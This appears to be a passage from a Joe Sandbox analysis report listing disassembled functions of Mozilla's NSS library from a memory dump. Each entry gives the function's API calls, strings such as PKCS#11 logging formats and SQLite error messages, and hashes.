malloc.MOZGLUE(00000004,?,6CC88061,?,?,?,?), ref: 6CC8497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CC8499E
GetLastError.KERNEL32(?,?,6CC88061,?,?,?,?), ref: 6CC849AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CC88061,?,?,?,?), ref: 6CC849C2

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CC88061,?,?,?,?), ref: 6CC849D6
CreateSemaphoreA.KERNEL32(00000000,6CC88061,7FFFFFFF,?), ref: 6CC84A19
GetLastError.KERNEL32(?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84A52
GetLastError.KERNEL32(?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84A6A
CreateSemaphoreA.KERNEL32(?,6CC88061,7FFFFFFF,?), ref: 6CC84A9A
free.MOZGLUE(?,?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84AAE
free.MOZGLUE(?,?,?,?,?,6CC88061,?,?,?,?), ref: 6CC84AC2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 23ab4fd30129254067c32e35794b378fa9281ab73e872de075162e7975e57276
Instruction ID: c722a7acbc3d9123b664f52e531c652f2b95fef1fc5e3bd0754fad48c36c3cc3
Opcode Fuzzy Hash: 23ab4fd30129254067c32e35794b378fa9281ab73e872de075162e7975e57276
Instruction Fuzzy Hash: CD41D274B012059BDB00EFA9DC99B8B7BBCAB4A35DF100128F919A7B40FB39D905C765

Function 6CC8C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CC8C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC8C8DA
malloc.MOZGLUE(00000001), ref: 6CC8C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC8C8F8
PR_NewLock.NSS3 ref: 6CC8C909
PR_NewCondVar.NSS3(00000000), ref: 6CC8C918
PR_NewCondVar.NSS3(00000000), ref: 6CC8C92A

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

free.MOZGLUE(00000000), ref: 6CC8C947

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: c4aed6484010b75eae29b3cda9fe616f0e6b5f4ff8b3a07509021914a8b771e3
Instruction ID: 6186986842828216c35b836b20fce44236815648f94db3ccfeb0ba29bcd53a7f
Opcode Fuzzy Hash: c4aed6484010b75eae29b3cda9fe616f0e6b5f4ff8b3a07509021914a8b771e3
Instruction Fuzzy Hash: EB21E9B1A017019BEB10BF799C0965B7AB8EF0525CF140538E85BC2B00FB31E618CBA2

Function 6CB6AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB6AF47

Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390AB
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC390C9
Part of subcall function 6CC39090: EnterCriticalSection.KERNEL32 ref: 6CC390E5
Part of subcall function 6CC39090: TlsGetValue.KERNEL32 ref: 6CC39116
Part of subcall function 6CC39090: LeaveCriticalSection.KERNEL32 ref: 6CC3913F

FreeLibrary.KERNEL32(?), ref: 6CB6AF6D
free.MOZGLUE(?), ref: 6CB6AFA4
free.MOZGLUE(?), ref: 6CB6AFAA
PR_ExitMonitor.NSS3 ref: 6CB6AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CB6AFF5
PR_ExitMonitor.NSS3 ref: 6CB6B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB6B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CB6B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB6B03C

Strings

Unloaded library %s, xrefs: 6CB6B023
%s decr => %d, xrefs: 6CB6AFF0

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 4a8f9f603417eb09a3646e4c9691f9f54956c0aa47e5e36103e026f0d3269c55
Instruction ID: 75c34fefa97f4df5bae1adbd3c14480f8758b305f667f1acecf207f33940ef0a
Opcode Fuzzy Hash: 4a8f9f603417eb09a3646e4c9691f9f54956c0aa47e5e36103e026f0d3269c55
Instruction Fuzzy Hash: 5831C3B5A04161ABEF01AF66EC44A5AB7B5EF05318B184135E809D7E01F732F825DBE3

Function 6CBB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBB781D,00000000,6CBABE2C,?,6CBB6B1D,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?), ref: 6CBB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBB6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBB6C96

Part of subcall function 6CB61240: TlsGetValue.KERNEL32(00000040,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB61267
Part of subcall function 6CB61240: EnterCriticalSection.KERNEL32(?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB6127C
Part of subcall function 6CB61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB61291
Part of subcall function 6CB61240: PR_Unlock.NSS3(?,?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBB6CAA

Strings

rdb:, xrefs: 6CBB6C69
dbm, xrefs: 6CBB6CA4
extern:, xrefs: 6CBB6C7E
sql:, xrefs: 6CBB6C52
dbm:, xrefs: 6CBB6C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6CBB6C91

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 26eb67b3ad3f643a77bb9af58cdccbbcc6db4b77aa7898658a0069cf19252f82
Instruction ID: d4ba6a508c10551de2cc238803f2c3cbc2b1ec20132ea45b66a2a195b9ff3a1f
Opcode Fuzzy Hash: 26eb67b3ad3f643a77bb9af58cdccbbcc6db4b77aa7898658a0069cf19252f82
Instruction Fuzzy Hash: DF01A2B170338537EA0027BA6D5AF2A355CDF52159F180435FE04F1981FFB2EA1541BA

Function 6CBC25F0 Relevance: 19.9, APIs: 8, Strings: 5, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBCA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB9A5DF,?,00000000,6CB728AD,00000000,?,6CB9A5DF,?,object), ref: 6CBCA0C0
Part of subcall function 6CBCA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB9A5DF,?,00000000,6CB728AD,00000000,?,6CB9A5DF,?,object), ref: 6CBCA0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC2834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6CBC284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC2A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6CBC2AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC2BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC2BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC2D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6CBC2D34

Strings

model, xrefs: 6CBC2C06
token, xrefs: 6CBC25FA
serial, xrefs: 6CBC2AC2
, xrefs: 6CBC2A8E, 6CBC2AAB
manufacturer, xrefs: 6CBC285E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $manufacturer$model$serial$token
API String ID: 2407968032-2628435027
Opcode ID: d7692777a9d412edd190ec00074725ba6a4caf6c5ce0348bfb3e3dfed7aef422
Instruction ID: 7422524d102c06d5b9bec36f422017ce3181dc22372fa8626e64b5e8a61f5a72
Opcode Fuzzy Hash: d7692777a9d412edd190ec00074725ba6a4caf6c5ce0348bfb3e3dfed7aef422
Instruction Fuzzy Hash: 8402DDA1F0C3C96EF7318762D88DBE12AA0DB1531DF4D21F5DA494BA93C2AC49499353

Function 6CBC4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CB878F8), ref: 6CBC4E6D

Part of subcall function 6CB609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CB606A2,00000000,?), ref: 6CB609F8
Part of subcall function 6CB609E0: malloc.MOZGLUE(0000001F), ref: 6CB60A18
Part of subcall function 6CB609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB60A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CB878F8), ref: 6CBC4ED9

Part of subcall function 6CBB5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CBB7703,?,00000000,00000000), ref: 6CBB5942
Part of subcall function 6CBB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBB7703), ref: 6CBB5954
Part of subcall function 6CBB5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBB596A
Part of subcall function 6CBB5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBB5984
Part of subcall function 6CBB5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CBB5999
Part of subcall function 6CBB5920: free.MOZGLUE(00000000), ref: 6CBB59BA
Part of subcall function 6CBB5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CBB59D3
Part of subcall function 6CBB5920: free.MOZGLUE(00000000), ref: 6CBB59F5
Part of subcall function 6CBB5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CBB5A0A
Part of subcall function 6CBB5920: free.MOZGLUE(00000000), ref: 6CBB5A2E
Part of subcall function 6CBB5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CBB5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4EB3

Part of subcall function 6CBC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBC4EB8,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC484C
Part of subcall function 6CBC4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBC4EB8,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC486D
Part of subcall function 6CBC4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CBC4EB8,?), ref: 6CBC4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4EC0

Part of subcall function 6CBC4470: TlsGetValue.KERNEL32(00000000,?,6CB87296,00000000), ref: 6CBC4487
Part of subcall function 6CBC4470: EnterCriticalSection.KERNEL32(?,?,?,6CB87296,00000000), ref: 6CBC44A0
Part of subcall function 6CBC4470: PR_Unlock.NSS3(?,?,?,?,6CB87296,00000000), ref: 6CBC44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CC9DCB0,00000000), ref: 6CBC4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CBC501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC506B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 4339bf301e63b8e3c5e6bcd79f76e7c837d7651fcd65eb0a1fcb8cf626d578e5
Instruction ID: 4b673342e683b2e596f2cb0b28b0a0328314608d27184984078edaed8f384d02
Opcode Fuzzy Hash: 4339bf301e63b8e3c5e6bcd79f76e7c837d7651fcd65eb0a1fcb8cf626d578e5
Instruction Fuzzy Hash: CF51F5B5E002859BDB119F24EC416AF77B4FF0531DF140535EC0A96A11FB31EA19CA93

Function 6CB6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6ACE2
malloc.MOZGLUE(00000001), ref: 6CB6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB6AD02
TlsGetValue.KERNEL32 ref: 6CB6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CB6AD8C
PR_Unlock.NSS3 ref: 6CB6ADC0
free.MOZGLUE(00000000), ref: 6CB6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB6AE58
free.MOZGLUE(00000000), ref: 6CB6AE69
free.MOZGLUE(?), ref: 6CB6AE78
PR_Unlock.NSS3 ref: 6CB6AE8C
free.MOZGLUE(?), ref: 6CB6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB6AEC7

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: f9729dfb5937bc1ff693db511099f309dca1e5f47e1a21413e2f61ffdb84ee80
Instruction ID: a94b7f7f9772230bc07b29d575605b40ee11fa52be64c073d9402d13cb08eece
Opcode Fuzzy Hash: f9729dfb5937bc1ff693db511099f309dca1e5f47e1a21413e2f61ffdb84ee80
Instruction Fuzzy Hash: 11518CB4E012769BDF00EF9AD8456AE77B4FB06359F140125E805A3E10E731EA46CFE2

Function 6CBAADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CBAADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBAAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBAAE29

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBAAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBAAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBAAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBAAEA0

Strings

hKey = 0x%x, xrefs: 6CBAAE62, 6CBAAE72
C_MessageSignInit, xrefs: 6CBAADE1
(CK_INVALID_HANDLE), xrefs: 6CBAAE1F, 6CBAAE80
hSession = 0x%x, xrefs: 6CBAAE01, 6CBAAE11

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: ddac671f6c7ab5a0f8ab58c3d337c70c5c9d10a5399685960ff0a018742eb8d8
Instruction ID: fbb49eb7f6a67fda5e261e553eee880cd4c7710e972865a32c19846c7defaa46
Opcode Fuzzy Hash: ddac671f6c7ab5a0f8ab58c3d337c70c5c9d10a5399685960ff0a018742eb8d8
Instruction Fuzzy Hash: 13310531605194FBCB009F94DC98FAF7B75EB4630DF444029E409ABA01EB34AC0ACFA2

Function 6CC44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC44CFD
sqlite3_value_text16.NSS3(?), ref: 6CC44D44

Strings

abort due to ROLLBACK, xrefs: 6CC44D27, 6CC44D33
API call with %s database connection pointer, xrefs: 6CC44CF6
another row available, xrefs: 6CC44D20
bad parameter or other API misuse, xrefs: 6CC44D05
no more rows available, xrefs: 6CC44D2E
unknown error, xrefs: 6CC44D56
out of memory, xrefs: 6CC44C78, 6CC44C9E
invalid, xrefs: 6CC44CF1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2c33f611b892920175c32bcab3a568fd7cc7a48d6877bca104d30f2be6d31f57
Instruction ID: 08c0d170caf7ff3710dde77617a4775338de62f8672737a3b107800e3fbf7766
Opcode Fuzzy Hash: 2c33f611b892920175c32bcab3a568fd7cc7a48d6877bca104d30f2be6d31f57
Instruction Fuzzy Hash: 53314672E05851ABD708CF25E8057A977327782359F39C569D8245BE54FB21BC22C3E2

Function 6CBA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CBA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA2E33

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBA2E81

Strings

ulPinLen = %d, xrefs: 6CBA2E7C
(CK_INVALID_HANDLE), xrefs: 6CBA2E2C
hSession = 0x%x, xrefs: 6CBA2E0E, 6CBA2E1E
C_InitPIN, xrefs: 6CBA2DF1
pPin = 0x%p, xrefs: 6CBA2E63

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 946a32dad0cfd5306e4405174d31115a929df7368be99f051058e0461c0b0548
Instruction ID: ea819c26edf1aa693f333e78556b57b318cb205c9d116ff26131ef6fb1ae808c
Opcode Fuzzy Hash: 946a32dad0cfd5306e4405174d31115a929df7368be99f051058e0461c0b0548
Instruction Fuzzy Hash: 54310471602194BBDB108B95DD5CB8F7BB5EB4631DF048025E80DA7B11EB30AC8ACB93

Function 6CBA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CBA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA6F44
